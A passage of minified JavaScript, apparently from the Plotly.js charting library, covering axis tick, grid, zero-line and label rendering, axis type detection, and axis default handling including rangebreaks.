tr!=="inside"==(Et==="x")&&(rr=rr.map(function(Jt){return-Jt})),Ue.side&&rr.push({l:-1,t:-1,r:1,b:1}[Ue.side.charAt(0)]),rr},X.makeTransTickFn=function(Ue){return Ue._id.charAt(0)==="x"?function(Ne){return d(Ue._offset+Ue.l2p(Ne.x),0)}:function(Ne){return d(0,Ue._offset+Ue.l2p(Ne.x))}},X.makeTransTickLabelFn=function(Ue){var Ne=Ft(Ue),Et=Ne[0],Lt=Ne[1];return Ue._id.charAt(0)==="x"?function(Nt){return d(Et+Ue._offset+Ue.l2p(_t(Nt)),Lt)}:function(Nt){return d(Lt,Et+Ue._offset+Ue.l2p(_t(Nt)))}};function _t(Ue){return Ue.periodX!==void 0?Ue.periodX:Ue.x}function Ft(Ue){var Ne=Ue.ticklabelposition||"",Et=function(Nr){return Ne.indexOf(Nr)!==-1},Lt=Et("top"),Nt=Et("left"),rr=Et("right"),tr=Et("bottom"),Jt=Et("inside"),It=tr||Nt||Lt||rr;if(!It&&!Jt)return[0,0];var or=Ue.side,ur=It?(Ue.tickwidth||0)/2:0,fr=fe,lr=Ue.tickfont?Ue.tickfont.size:12;return(tr||Lt)&&(ur+=lr*J,fr+=(Ue.linewidth||0)/2),(Nt||rr)&&(ur+=(Ue.linewidth||0)/2,fr+=fe),Jt&&or==="top"&&(fr-=lr*(1-J)),(Nt||Lt)&&(ur=-ur),(or==="bottom"||or==="right")&&(fr=-fr),[It?ur:0,Jt?fr:0]}X.makeTickPath=function(Ue,Ne,Et,Lt){Lt||(Lt={});var Nt=Lt.minor;if(Nt&&!Ue.minor)return"";var rr=Lt.len!==void 0?Lt.len:Nt?Ue.minor.ticklen:Ue.ticklen,tr=Ue._id.charAt(0),Jt=(Ue.linewidth||1)/2;return tr==="x"?"M0,"+(Ne+Jt*Et)+"v"+rr*Et:"M"+(Ne+Jt*Et)+",0h"+rr*Et},X.makeLabelFns=function(Ue,Ne,Et){var Lt=Ue.ticklabelposition||"",Nt=function(En){return Lt.indexOf(En)!==-1},rr=Nt("top"),tr=Nt("left"),Jt=Nt("right"),It=Nt("bottom"),or=It||tr||rr||Jt,ur=Nt("inside"),fr=Lt==="inside"&&Ue.ticks==="inside"||!ur&&Ue.ticks==="outside"&&Ue.tickson!=="boundaries",lr=0,Nr=0,Rr=fr?Ue.ticklen:0;if(ur?Rr*=-1:or&&(Rr=0),fr&&(lr+=Rr,Et)){var Cr=S.deg2rad(Et);lr=Rr*Math.cos(Cr)+1,Nr=Rr*Math.sin(Cr)}Ue.showticklabels&&(fr||Ue.showline)&&(lr+=.2*Ue.tickfont.size),lr+=(Ue.linewidth||1)/2*(ur?-1:1);var vn={labelStandoff:lr,labelShift:Nr},Ur,Mn,Sn,nr,Sr=0,Dr=Ue.side,Ir=Ue._id.charAt(0),Xr=Ue.tickangle,an;if(Ir==="x")an=!ur&&Dr==="bottom"||ur&&Dr==="top",nr=an?1:-1,ur&&(nr*=-1),Ur=Nr*nr,Mn=Ne+lr*nr,Sn=an?1:-.2,Math.abs(Xr)===90&&(ur?Sn+=G:Xr===-90&&Dr==="bottom"?Sn=J:Xr===90&&Dr==="top"?Sn=G:Sn=.5,Sr=G/2*(Xr/90)),vn.xFn=function(En){return En.dx+Ur+Sr*En.fontSize},vn.yFn=function(En){return En.dy+Mn+En.fontSize*Sn},vn.anchorFn=function(En,Hn){if(or){if(tr)return"end";if(Jt)return"start"}return!P(Hn)||Hn===0||Hn===180?"middle":Hn*nr<0!==ur?"end":"start"},vn.heightFn=function(En,Hn,Xn){return Hn<-60||Hn>60?-.5*Xn:Ue.side==="top"!==ur?-Xn:0};else if(Ir==="y"){if(an=!ur&&Dr==="left"||ur&&Dr==="right",nr=an?1:-1,ur&&(nr*=-1),Ur=lr,Mn=Nr*nr,Sn=0,!ur&&Math.abs(Xr)===90&&(Xr===-90&&Dr==="left"||Xr===90&&Dr==="right"?Sn=J:Sn=.5),ur){var tn=P(Xr)?+Xr:0;if(tn!==0){var gn=S.deg2rad(tn);Sr=Math.abs(Math.sin(gn))*J*nr,Sn=0}}vn.xFn=function(En){return En.dx+Ne-(Ur+En.fontSize*Sn)*nr+Sr*En.fontSize},vn.yFn=function(En){return En.dy+Mn+En.fontSize*G},vn.anchorFn=function(En,Hn){return P(Hn)&&Math.abs(Hn)===90?"middle":an?"end":"start"},vn.heightFn=function(En,Hn,Xn){return Ue.side==="right"&&(Hn*=-1),Hn<-30?-Xn:Hn<30?-.5*Xn:0}}return vn};function Tt(Ue){return[Ue.text,Ue.x,Ue.axInfo,Ue.font,Ue.fontSize,Ue.fontColor].join("_")}X.drawTicks=function(Ue,Ne,Et){Et=Et||{};var Lt=Ne._id+"tick",Nt=[].concat(Ne.minor&&Ne.minor.ticks?Et.vals.filter(function(tr){return tr.minor&&!tr.noTick}):[]).concat(Ne.ticks?Et.vals.filter(function(tr){return!tr.minor&&!tr.noTick}):[]),rr=Et.layer.selectAll("path."+Lt).data(Nt,Tt);rr.exit().remove(),rr.enter().append("path").classed(Lt,1).classed("ticks",1).classed("crisp",Et.crisp!==!1).each(function(tr){return r.stroke(M.select(this),tr.minor?Ne.minor.tickcolor:Ne.tickcolor)}).style("stroke-width",function(tr){return f.crispRound(Ue,tr.minor?Ne.minor.tickwidth:Ne.tickwidth,1)+"px"}).attr("d",Et.path).style("display",null),Yt(Ne,[F]),rr.attr("transform",Et.transFn)},X.drawGrid=function(Ue,Ne,Et){if(Et=Et||{},Ne.tickmode!=="sync"){var Lt=Ne._id+"grid",Nt=Ne.minor&&Ne.minor.showgrid,rr=Nt?Et.vals.filter(function(Ur){return Ur.minor}):[],tr=Ne.showgrid?Et.vals.filter(function(Ur){return!Ur.minor}):[],Jt=Et.counterAxis;if(Jt&&X.shouldShowZeroLine(Ue,Ne,Jt))for(var It=Ne.tickmode==="array",or=0;or<tr.length;or++){var ur=tr[or].x;if(It?!ur:Math.abs(ur)<Ne.dtick/100)if(tr=tr.slice(0,or).concat(tr.slice(or+1)),It)or--;else break}Ne._gw=f.crispRound(Ue,Ne.gridwidth,1);for(var fr=Nt?f.crispRound(Ue,Ne.minor.gridwidth,1):0,lr=Et.layer,Nr=Et.minorLayer,Rr=1;Rr>=0;Rr--){var Cr=Rr?lr:Nr;if(Cr){var vn=Cr.selectAll("path."+Lt).data(Rr?tr:rr,Tt);vn.exit().remove(),vn.enter().append("path").classed(Lt,1).classed("crisp",Et.crisp!==!1),vn.attr("transform",Et.transFn).attr("d",Et.path).each(function(Ur){return r.stroke(M.select(this),Ur.minor?Ne.minor.gridcolor:Ne.gridcolor||"#ddd")}).style("stroke-dasharray",function(Ur){return f.dashStyle(Ur.minor?Ne.minor.griddash:Ne.griddash,Ur.minor?Ne.minor.gridwidth:Ne.gridwidth)}).style("stroke-width",function(Ur){return(Ur.minor?fr:Ne._gw)+"px"}).style("display",null),typeof Et.path=="function"&&vn.attr("d",Et.path)}}Yt(Ne,[B,_])}},X.drawZeroLine=function(Ue,Ne,Et){Et=Et||Et;var Lt=Ne._id+"zl",Nt=X.shouldShowZeroLine(Ue,Ne,Et.counterAxis),rr=Et.layer.selectAll("path."+Lt).data(Nt?[{x:0,id:Ne._id}]:[]);rr.exit().remove(),rr.enter().append("path").classed(Lt,1).classed("zl",1).classed("crisp",Et.crisp!==!1).each(function(){Et.layer.selectAll("path").sort(function(tr,Jt){return Y(tr.id,Jt.id)})}),rr.attr("transform",Et.transFn).attr("d",Et.path).call(r.stroke,Ne.zerolinecolor||r.defaultLine).style("stroke-width",f.crispRound(Ue,Ne.zerolinewidth,Ne._gw||1)+"px").style("display",null),Yt(Ne,[k])},X.drawLabels=function(Ue,Ne,Et){Et=Et||{};var Lt=Ue._fullLayout,Nt=Ne._id,rr=Nt.charAt(0),tr=Et.cls||Nt+"tick",Jt=Et.vals.filter(function(nr){return nr.text}),It=Et.labelFns,or=Et.secondary?0:Ne.tickangle,ur=(Ne._prevTickAngles||{})[tr],fr=Et.layer.selectAll("g."+tr).data(Ne.showticklabels?Jt:[],Tt),lr=[];fr.enter().append("g").classed(tr,1).append("text").attr("text-anchor","middle").each(function(nr){var Sr=M.select(this),Dr=Ue._promises.length;Sr.call(g.positionText,It.xFn(nr),It.yFn(nr)).call(f.font,nr.font,nr.fontSize,nr.fontColor).text(nr.text).call(g.convertToTspans,Ue),Ue._promises[Dr]?lr.push(Ue._promises.pop().then(function(){Nr(Sr,or)})):Nr(Sr,or)}),Yt(Ne,[O]),fr.exit().remove(),Et.repositionOnUpdate&&fr.each(function(nr){M.select(this).select("text").call(g.positionText,It.xFn(nr),It.yFn(nr))});function Nr(nr,Sr){nr.each(function(Dr){var Ir=M.select(this),Xr=Ir.select(".text-math-group"),an=It.anchorFn(Dr,Sr),tn=Et.transFn.call(Ir.node(),Dr)+(P(Sr)&&+Sr!=0?" rotate("+Sr+","+It.xFn(Dr)+","+(It.yFn(Dr)-Dr.fontSize/2)+")":""),gn=g.lineCount(Ir),En=q*Dr.fontSize,Hn=It.heightFn(Dr,P(Sr)?+Sr:0,(gn-1)*En);if(Hn&&(tn+=d(0,Hn)),Xr.empty()){var Xn=Ir.select("text");Xn.attr({transform:tn,"text-anchor":an}),Xn.style("opacity",1),Ne._adjustTickLabelsOverflow&&Ne._adjustTickLabelsOverflow()}else{var qn=f.bBox(Xr.node()).width,Wn=qn*{end:-.5,start:.5}[an];Xr.attr("transform",tn+d(Wn,0))}})}Ne._adjustTickLabelsOverflow=function(){var nr=Ne.ticklabeloverflow;if(!(!nr||nr==="allow")){var Sr=nr.indexOf("hide")!==-1,Dr=Ne._id.charAt(0)==="x",Ir=0,Xr=Dr?Ue._fullLayout.width:Ue._fullLayout.height;if(nr.indexOf("domain")!==-1){var an=S.simpleMap(Ne.range,Ne.r2l);Ir=Ne.l2p(an[0])+Ne._offset,Xr=Ne.l2p(an[1])+Ne._offset}var tn=Math.min(Ir,Xr),gn=Math.max(Ir,Xr),En=Ne.side,Hn=1/0,Xn=-1/0;fr.each(function(mr){var qr=M.select(this),Qr=qr.select(".text-math-group");if(Qr.empty()){var un=f.bBox(qr.node()),kn=0;Dr?(un.right>gn||un.left<tn)&&(kn=1):(un.bottom>gn||un.top+(Ne.tickangle?0:mr.fontSize/4)<tn)&&(kn=1);var bn=qr.select("text");kn?Sr&&bn.style("opacity",0):(bn.style("opacity",1),En==="bottom"||En==="right"?Hn=Math.min(Hn,Dr?un.top:un.left):Hn=-1/0,En==="top"||En==="left"?Xn=Math.max(Xn,Dr?un.bottom:un.right):Xn=1/0)}});for(var qn in Lt._plots){var Wn=Lt._plots[qn];if(!(Ne._id!==Wn.xaxis._id&&Ne._id!==Wn.yaxis._id)){var ea=Dr?Wn.yaxis:Wn.xaxis;ea&&(ea["_visibleLabelMin_"+Ne._id]=Hn,ea["_visibleLabelMax_"+Ne._id]=Xn)}}}},Ne._hideCounterAxisInsideTickLabels=function(nr){var Sr=Ne._id.charAt(0)==="x",Dr=[];for(var Ir in Lt._plots){var Xr=Lt._plots[Ir];Ne._id!==Xr.xaxis._id&&Ne._id!==Xr.yaxis._id||Dr.push(Sr?Xr.yaxis:Xr.xaxis)}Dr.forEach(function(an,tn){an&&Xt(an)&&(nr||[k,_,B,F,O]).forEach(function(gn){var En=gn.K==="tick"&&gn.L==="text"&&Ne.ticklabelmode==="period",Hn=Lt._plots[Ne._mainSubplot],Xn;gn.K===k.K?Xn=Hn.zerolinelayer.selectAll("."+Ne._id+"zl"):gn.K===_.K?Xn=Hn.minorGridlayer.selectAll("."+Ne._id):gn.K===B.K?Xn=Hn.gridlayer.selectAll("."+Ne._id):Xn=Hn[Ne._id.charAt(0)+"axislayer"],Xn.each(function(){var qn=M.select(this);gn.L&&(qn=qn.selectAll(gn.L)),qn.each(function(Wn){var ea=Ne.l2p(En?_t(Wn):Wn.x)+Ne._offset,mr=M.select(this);ea<Ne["_visibleLabelMax_"+an._id]&&ea>Ne["_visibleLabelMin_"+an._id]?mr.style("display","none"):gn.K==="tick"&&!tn&&mr.style("display",null)})})})})},Nr(fr,ur+1?ur:or);function Rr(){return lr.length&&Promise.all(lr)}var Cr=null;function vn(){if(Nr(fr,or),Jt.length&&rr==="x"&&!P(or)&&(Ne.type!=="log"||String(Ne.dtick).charAt(0)!=="D")){Cr=0;var nr=0,Sr=[],Dr;if(fr.each(function(un){nr=Math.max(nr,un.fontSize);var kn=Ne.l2p(un.x),bn=dr(this),wn=f.bBox(bn.node());Sr.push({top:0,bottom:10,height:10,left:kn-wn.width/2,right:kn+wn.width/2+2,width:wn.width+2})}),(Ne.tickson==="boundaries"||Ne.showdividers)&&!Et.secondary){var Ir=2;for(Ne.ticks&&(Ir+=Ne.tickwidth/2),Dr=0;Dr<Sr.length;Dr++){var Xr=Jt[Dr].xbnd,an=Sr[Dr];if(Xr[0]!==null&&an.left-Ne.l2p(Xr[0])<Ir||Xr[1]!==null&&Ne.l2p(Xr[1])-an.right<Ir){Cr=90;break}}}else{var tn=Jt.length,gn=Math.abs((Jt[tn-1].x-Jt[0].x)*Ne._m)/(tn-1),En=Ne.ticklabelposition||"",Hn=function(un){return En.indexOf(un)!==-1},Xn=Hn("top"),qn=Hn("left"),Wn=Hn("right"),ea=Hn("bottom"),mr=ea||qn||Xn||Wn,qr=mr?(Ne.tickwidth||0)+2*fe:0,Qr=gn<nr*2.5||Ne.type==="multicategory"||Ne._name==="realaxis";for(Dr=0;Dr<Sr.length-1;Dr++)if(S.bBoxIntersect(Sr[Dr],Sr[Dr+1],qr)){Cr=Qr?90:30;break}}Cr&&Nr(fr,Cr)}}Ne._selections&&(Ne._selections[tr]=fr);var Ur=[Rr];Ne.automargin&&Lt._redrawFromAutoMarginCount&&ur===90?(Cr=90,Ur.push(function(){Nr(fr,ur)})):Ur.push(vn),Ne._tickAngles&&Ur.push(function(){Ne._tickAngles[tr]=Cr===null?P(or)?or:0:Cr});var Mn=Ne._anchorAxis;Mn&&Mn.autorange&&Xt(Ne)&&!Q(Lt,Ne._id)&&(Lt._insideTickLabelsAutorange||(Lt._insideTickLabelsAutorange={}),Lt._insideTickLabelsAutorange[Mn._name+".autorange"]=Mn.autorange,Ur.push(function(){fr.each(function(Sr,Dr){var Ir=dr(this),Xr=Ir.select(".text-math-group");Xr.empty()&&(Ne._vals[Dr].bb=f.bBox(Ir.node()))})}));var Sn=S.syncOrAsync(Ur);return Sn&&Sn.then&&Ue._promises.push(Sn),Sn};function Gt(Ue,Ne,Et){var Lt=Ne._id+"divider",Nt=Et.vals,rr=Et.layer.selectAll("path."+Lt).data(Nt,Tt);rr.exit().remove(),rr.enter().insert("path",":first-child").classed(Lt,1).classed("crisp",1).call(r.stroke,Ne.dividercolor).style("stroke-width",f.crispRound(Ue,Ne.dividerwidth,1)+"px"),rr.attr("transform",Et.transFn).attr("d",Et.path)}X.getPxPosition=function(Ue,Ne){var Et=Ue._fullLayout._size,Lt=Ne._id.charAt(0),Nt=Ne.side,rr;if(Ne.anchor!=="free"?rr=Ne._anchorAxis:Lt==="x"?rr={_offset:Et.t+(1-(Ne.position||0))*Et.h,_length:0}:Lt==="y"&&(rr={_offset:Et.l+(Ne.position||0)*Et.w+Ne._shift,_length:0}),Nt==="top"||Nt==="left")return rr._offset;if(Nt==="bottom"||Nt==="right")return rr._offset+rr._length};function er(Ue){var Ne=Ue.title.font.size,Et=(Ue.title.text.match(g.BR_TAG_ALL)||[]).length;return Ue.title.hasOwnProperty("standoff")?Et?Ne*(J+Et*q):Ne*J:Et?Ne*(Et+1)*q:Ne}function Pr(Ue,Ne){var Et=Ue._fullLayout,Lt=Ne._id,Nt=Lt.charAt(0),rr=Ne.title.font.size,tr;if(Ne.title.hasOwnProperty("standoff"))tr=Ne._depth+Ne.title.standoff+er(Ne);else{var Jt=Xt(Ne);if(Ne.type==="multicategory")tr=Ne._depth;else{var It=1.5*rr;Jt&&(It=.5*rr,Ne.ticks==="outside"&&(It+=Ne.ticklen)),tr=10+It+(Ne.linewidth?Ne.linewidth-1:0)}Jt||(Nt==="x"?tr+=Ne.side==="top"?rr*(Ne.showticklabels?1:0):rr*(Ne.showticklabels?1.5:.5):tr+=Ne.side==="right"?rr*(Ne.showticklabels?1:.5):rr*(Ne.showticklabels?.5:0))}var or=X.getPxPosition(Ue,Ne),ur,fr,lr;Nt==="x"?(fr=Ne._offset+Ne._length/2,lr=Ne.side==="top"?or-tr:or+tr):(lr=Ne._offset+Ne._length/2,fr=Ne.side==="right"?or+tr:or-tr,ur={rotate:"-90",offset:0});var Nr;if(Ne.type!=="multicategory"){var Rr=Ne._selections[Ne._id+"tick"];if(Nr={selection:Rr,side:Ne.side},Rr&&Rr.node()&&Rr.node().parentNode){var Cr=f.getTranslate(Rr.node().parentNode);Nr.offsetLeft=Cr.x,Nr.offsetTop=Cr.y}Ne.title.hasOwnProperty("standoff")&&(Nr.pad=0)}return Ne._titleStandoff=tr,t.draw(Ue,Lt+"title",{propContainer:Ne,propName:Ne._name+".title.text",placeholder:Et._dfltTitle[Nt],avoid:Nr,transform:ur,attributes:{x:fr,y:lr,"text-anchor":"middle"}})}X.shouldShowZeroLine=function(Ue,Ne,Et){var Lt=S.simpleMap(Ne.range,Ne.r2l);return Lt[0]*Lt[1]<=0&&Ne.zeroline&&(Ne.type==="linear"||Ne.type==="-")&&!(Ne.rangebreaks&&Ne.maskBreaks(0)===I)&&(ct(Ne,0)||!Vt(Ue,Ne,Et,Lt)||Ut(Ue,Ne))},X.clipEnds=function(Ue,Ne){return Ne.filter(function(Et){return ct(Ue,Et.x)})};function ct(Ue,Ne){var Et=Ue.l2p(Ne);return Et>1&&Et<Ue._length-1}function Vt(Ue,Ne,Et,Lt){var Nt=Et._mainAxis;if(!Nt)return;var rr=Ue._fullLayout,tr=Ne._id.charAt(0),Jt=X.counterLetter(Ne._id),It=Ne._offset+(Math.abs(Lt[0])<Math.abs(Lt[1])==(tr==="x")?0:Ne._length);function or(Rr){if(!Rr.showline||!Rr.linewidth)return!1;var Cr=Math.max((Rr.linewidth+Ne.zerolinewidth)/2,1);function vn(Sn){return typeof Sn=="number"&&Math.abs(Sn-It)<Cr}if(vn(Rr._mainLinePosition)||vn(Rr._mainMirrorPosition))return!0;var Ur=Rr._linepositions||{};for(var Mn in Ur)if(vn(Ur[Mn][0])||vn(Ur[Mn][1]))return!0}var ur=rr._plots[Et._mainSubplot];if(!(ur.mainplotinfo||ur).overlays.length)return or(Et);for(var fr=X.list(Ue,Jt),lr=0;lr<fr.length;lr++){var Nr=fr[lr];if(Nr._mainAxis===Nt&&or(Nr))return!0}}function Ut(Ue,Ne){for(var Et=Ue._fullData,Lt=Ne._mainSubplot,Nt=Ne._id.charAt(0),rr=0;rr<Et.length;rr++){var tr=Et[rr];if(tr.visible===!0&&tr.xaxis+tr.yaxis===Lt&&(L.traceIs(tr,"bar-like")&&tr.orientation==={x:"h",y:"v"}[Nt]||tr.fill&&tr.fill.charAt(tr.fill.length-1)===Nt))return!0}return!1}function dr(Ue){var Ne=M.select(Ue),Et=Ne.select(".text-math-group");return Et.empty()?Ne.select("text"):Et}X.allowAutoMargin=function(Ue){for(var Ne=X.list(Ue,"",!0),Et=0;Et<Ne.length;Et++){var Lt=Ne[Et];Lt.automargin&&(o.allowAutoMargin(Ue,sr(Lt)),Lt.mirror&&o.allowAutoMargin(Ue,nt(Lt))),L.getComponentMethod("rangeslider","isVisible")(Lt)&&o.allowAutoMargin(Ue,rt(Lt))}};function sr(Ue){return Ue._id+".automargin"}function nt(Ue){return sr(Ue)+".mirror"}function rt(Ue){return Ue._id+".rangeslider"}X.swap=function(Ue,Ne){for(var Et=vt(Ue,Ne),Lt=0;Lt<Et.length;Lt++)wt(Ue,Et[Lt].x,Et[Lt].y)};function vt(Ue,Ne){var Et=[],Lt,Nt;for(Lt=0;Lt<Ne.length;Lt++){var rr=[],tr=Ue._fullData[Ne[Lt]].xaxis,Jt=Ue._fullData[Ne[Lt]].yaxis;if(!(!tr||!Jt)){for(Nt=0;Nt<Et.length;Nt++)(Et[Nt].x.indexOf(tr)!==-1||Et[Nt].y.indexOf(Jt)!==-1)&&rr.push(Nt);if(!rr.length){Et.push({x:[tr],y:[Jt]});continue}var It=Et[rr[0]],or;if(rr.length>1)for(Nt=1;Nt<rr.length;Nt++)or=Et[rr[Nt]],gt(It.x,or.x),gt(It.y,or.y);gt(It.x,[tr]),gt(It.y,[Jt])}}return Et}function gt(Ue,Ne){for(var Et=0;Et<Ne.length;Et++)Ue.indexOf(Ne[Et])===-1&&Ue.push(Ne[Et])}function wt(Ue,Ne,Et){var Lt=[],Nt=[],rr=Ue.layout,tr,Jt;for(tr=0;tr<Ne.length;tr++)Lt.push(X.getFromId(Ue,Ne[tr]));for(tr=0;tr<Et.length;tr++)Nt.push(X.getFromId(Ue,Et[tr]));var It=Object.keys(a),or=["anchor","domain","overlaying","position","side","tickangle","editType"],ur=["linear","log"];for(tr=0;tr<It.length;tr++){var fr=It[tr],lr=Lt[0][fr],Nr=Nt[0][fr],Rr=!0,Cr=!1,vn=!1;if(!(fr.charAt(0)==="_"||typeof lr=="function"||or.indexOf(fr)!==-1)){for(Jt=1;Jt<Lt.length&&Rr;Jt++){var Ur=Lt[Jt][fr];fr==="type"&&ur.indexOf(lr)!==-1&&ur.indexOf(Ur)!==-1&&lr!==Ur?Cr=!0:Ur!==lr&&(Rr=!1)}for(Jt=1;Jt<Nt.length&&Rr;Jt++){var Mn=Nt[Jt][fr];fr==="type"&&ur.indexOf(Nr)!==-1&&ur.indexOf(Mn)!==-1&&Nr!==Mn?vn=!0:Nt[Jt][fr]!==Nr&&(Rr=!1)}Rr&&(Cr&&(rr[Lt[0]._name].type="linear"),vn&&(rr[Nt[0]._name].type="linear"),mt(rr,fr,Lt,Nt,Ue._fullLayout._dfltTitle))}}for(tr=0;tr<Ue._fullLayout.annotations.length;tr++){var Sn=Ue._fullLayout.annotations[tr];Ne.indexOf(Sn.xref)!==-1&&Et.indexOf(Sn.yref)!==-1&&S.swapAttrs(rr.annotations[tr],["?"])}}function mt(Ue,Ne,Et,Lt,Nt){var rr=S.nestedProperty,tr=rr(Ue[Et[0]._name],Ne).get(),Jt=rr(Ue[Lt[0]._name],Ne).get(),It;for(Ne==="title"&&(tr&&tr.text===Nt.x&&(tr.text=Nt.y),Jt&&Jt.text===Nt.y&&(Jt.text=Nt.x)),It=0;It<Et.length;It++)rr(Ue,Et[It]._name+"."+Ne).set(Jt);for(It=0;It<Lt.length;It++)rr(Ue,Lt[It]._name+"."+Ne).set(tr)}function Pt(Ue){return Ue._id==="angularaxis"}function zt(Ue,Ne){for(var Et=Ne._rangebreaks.length,Lt=0;Lt<Et;Lt++){var Nt=Ne._rangebreaks[Lt];if(Ue>=Nt.min&&Ue<Nt.max)return Nt.max}return Ue}function Xt(Ue){return(Ue.ticklabelposition||"").indexOf("inside")!==-1}function Yt(Ue,Ne){Xt(Ue._anchorAxis||{})&&Ue._hideCounterAxisInsideTickLabels&&Ue._hideCounterAxisInsideTickLabels(Ne)}function $t(Ue,Ne,Et,Lt){var Nt=Ue.anchor!=="free"&&(Ue.overlaying===void 0||Ue.overlaying===!1)?Ue._id:Ue.overlaying,rr;Lt?rr=Ue.side==="right"?Ne:-Ne:rr=Ne,Nt in Et||(Et[Nt]={}),Ue.side in Et[Nt]||(Et[Nt][Ue.side]=0),Et[Nt][Ue.side]+=rr}function yr(Ue,Ne){return Ue.autoshift?Ne[Ue.overlaying][Ue.side]:Ue.shift||0}},4322:function(te,Z,e){var M=e(92770),P=e(71828),o=e(50606).BADNUM,L=P.isArrayOrTypedArray,S=P.isDateTime,d=P.cleanNumber,g=Math.round;te.exports=function(y,c,b){var h=y,i=b.noMultiCategory;if(L(h)&&!h.length)return"-";if(!i&&u(h))return"multicategory";if(i&&Array.isArray(h[0])){for(var v=[],T=0;T<h.length;T++)if(L(h[T]))for(var w=0;w<h[T].length;w++)v.push(h[T][w]);h=v}if(f(h,c))return"date";var E=b.autotypenumbers!=="strict";return l(h,E)?"category":r(h,E)?"linear":"-"};function t(s,y){return y?M(s):typeof s=="number"}function r(s,y){for(var c=s.length,b=0;b<c;b++)if(t(s[b],y))return!0;return!1}function f(s,y){for(var c=s.length,b=a(c),h=0,i=0,v={},T=0;T<c;T+=b){var w=g(T),E=s[w],p=String(E);v[p]||(v[p]=1,S(E,y)&&h++,M(E)&&i++)}return h>i*2}function a(s){return Math.max(1,(s-1)/1e3)}function l(s,y){for(var c=s.length,b=a(c),h=0,i=0,v={},T=0;T<c;T+=b){var w=g(T),E=s[w],p=String(E);if(!v[p]){v[p]=1;var A=typeof E;A==="boolean"?i++:(y?d(E)!==o:A==="number")?h++:A==="string"&&i++}}return i>h*2}function u(s){return L(s[0])&&L(s[1])}},71453:function(te,Z,e){var M=e(92770),P=e(73972),o=e(71828),L=e(44467),S=e(85501),d=e(13838),g=e(26218),t=e(38701),r=e(96115),f=e(89426),a=e(15258),l=e(92128),u=e(21994),s=e(85555).WEEKDAY_PATTERN,y=e(85555).HOUR_PATTERN;te.exports=function(v,T,w,E,p){var A=E.letter,m=E.font||{},n=E.splomStash||{},C=w("visible",!E.visibleDflt),x=T._template||{},I=T.type||x.type||"-",k;if(I==="date"){var B=P.getComponentMethod("calendars","handleDefaults");B(v,T,"calendar",E.calendar),E.noTicklabelmode||(k=w("ticklabelmode"))}var _="";(!E.noTicklabelposition||I==="multicategory")&&(_=o.coerce(v,T,{ticklabelposition:{valType:"enumerated",dflt:"outside",values:k==="period"?["outside","inside"]:A==="x"?["outside","inside","outside left","inside left","outside right","inside right"]:["outside","inside","outside top","inside top","outside bottom","inside bottom"]}},"ticklabelposition")),E.noTicklabeloverflow||w("ticklabeloverflow",_.indexOf("inside")!==-1?"hide past domain":I==="category"||I==="multicategory"?"allow":"hide past div"),u(T,p);var F=!T.isValidRange(v.range);F&&E.reverseDflt&&(F="reversed");var O=w("autorange",F);O&&(I==="linear"||I==="-")&&w("rangemode"),w("range"),T.cleanRange(),a(v,T,w,E),I!=="category"&&!E.noHover&&w("hoverformat");var z=w("color"),N=z!==d.color.dflt?z:m.color,G=n.label||p._dfltTitle[A];if(f(v,T,w,I,E),!C)return T;w("title.text",G),o.coerceFont(w,"title.font",{family:m.family,size:o.bigFont(m.size),color:N}),g(v,T,w,I);var J=E.hasMinor;if(J&&(L.newContainer(T,"minor"),g(v,T,w,I,{isMinor:!0})),r(v,T,w,I,E),t(v,T,w,E),J){var q=E.isMinor;E.isMinor=!0,t(v,T,w,E),E.isMinor=q}l(v,T,w,{dfltColor:z,bgColor:E.bgColor,showGrid:E.showGrid,hasMinor:J,attributes:d}),J&&!T.minor.ticks&&!T.minor.showgrid&&delete T.minor,(T.showline||T.ticks)&&w("mirror");var ne=I==="multicategory";if(!E.noTickson&&(I==="category"||ne)&&(T.ticks||T.showgrid)){var fe;ne&&(fe="boundaries");var X=w("tickson",fe);X==="boundaries"&&delete T.ticklabelposition}if(ne){var W=w("showdividers");W&&(w("dividercolor"),w("dividerwidth"))}if(I==="date")if(S(v,T,{name:"rangebreaks",inclusionAttr:"enabled",handleItemDefaults:c}),!T.rangebreaks.length)delete T.rangebreaks;else{for(var V=0;V<T.rangebreaks.length;V++)if(T.rangebreaks[V].pattern===s){T._hasDayOfWeekBreaks=!0;break}if(u(T,p),p._has("scattergl")||p._has("splom"))for(var Y=0;Y<E.data.length;Y++){var Q=E.data[Y];(Q.type==="scattergl"||Q.type==="splom")&&(Q.visible=!1,o.warn(Q.type+" traces do not work on axes with rangebreaks. Setting trace "+Q.index+" to `visible: false`."))}}return T};function c(i,v,T){function w(k,B){return o.coerce(i,v,d.rangebreaks,k,B)}var E=w("enabled");if(E){var p=w("bounds");if(p&&p.length>=2){var A="",m,n;if(p.length===2){for(m=0;m<2;m++)if(n=h(p[m]),n){A=s;break}}var C=w("pattern",A);if(C===s)for(m=0;m<2;m++)n=h(p[m]),n&&(v.bounds[m]=p[m]=n-1);if(C)for(m=0;m<2;m++)switch(n=p[m],C){case s:if(!M(n)){v.enabled=!1;return}if(n=+n,n!==Math.floor(n)||n<0||n>=7){v.enabled=!1;return}v.bounds[m]=p[m]=n;break;case y:if(!M(n)){v.enabled=!1;return}if(n=+n,n<0||n>24){v.enabled=!1;return}v.bounds[m]=p[m]=n;break}if(T.autorange===!1){var x=T.range;if(x[0]<x[1]){if(p[0]<x[0]&&p[1]>x[1]){v.enabled=!1;return}}else if(p[0]>x[0]&&p[1]<x[1]){v.enabled=!1;return}}}else{var I=w("values");if(I&&I.length)w("dvalue");else{v.enabled=!1;return}}}}var b={sun:1,mon:2,tue:3,wed:4,thu:5,fri:6,sat:7};function h(i){if(typeof i=="string")return b[i.substr(0,3).toLowerCase()]}},12663:function(te,Z,e){var M=e(31562),P=M.FORMAT_LINK,o=M.DATE_FORMAT_LINK;function L(g,t){return{valType:"string",dflt:"",editType:"none",description:(t?S:d)("hover text",g)+["By default the values are formatted using "+(t?"generic number format":"`"+g+"axis.hoverformat`")+"."].join(" ")}}function S(g,t){return["Sets the "+g+" formatting rule"+(t?"for `"+t+"` ":""),"using d3 formatting mini-languages","which are very similar to those in Python. For numbers, see: "+P+"."].join(" ")}function d(g,t){return S(g,t)+[" And for dates see: "+o+".","We add two items to d3's date formatter:","*%h* for half of the year as a decimal number as well as","*%{n}f* for fractional seconds","with n digits. For example, *2016-10-13 09:15:23.456* with tickformat","*%H~%M~%S.%2f* would display *09~15~23.46*"].join(" ")}te.exports={axisHoverFormat:L,descriptionOnlyNumbers:S,descriptionWithDates:d}},41675:function(te,Z,e){var M=e(73972),P=e(85555);Z.id2name=function(S){if(!(typeof S!="string"||!S.match(P.AX_ID_PATTERN))){var d=S.split(" ")[0].substr(1);return 